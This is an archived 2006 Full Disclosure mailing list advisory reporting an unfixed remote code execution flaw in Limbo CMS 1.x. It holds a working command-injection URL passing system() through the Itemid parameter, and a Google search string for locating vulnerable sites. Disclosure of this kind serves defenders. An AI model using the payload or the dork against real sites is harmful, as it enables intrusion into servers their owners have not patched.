Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Limbo CMS code execution
From: "Alexander Hristov" <joffer () gmail com>
Date: Wed, 1 Mar 2006 01:34:09 +0200

Official page : http://www.limbo-cms.com/

Vulnerable : Limbo 1.*

Fix : No

Bug : http://somehost/path-to-limbo/index.php?option=frontpage&Itemid=system(CODE)

example : index.php?option=frontpage&Itemid=system(uname)

Google search string : inurl:"option=frontpage"

--
Best Regards,
Aleksander Hristov < root at securitydot.net > < http://securitydot.net >
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
  • Limbo CMS code execution Alexander Hristov (Feb 28)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]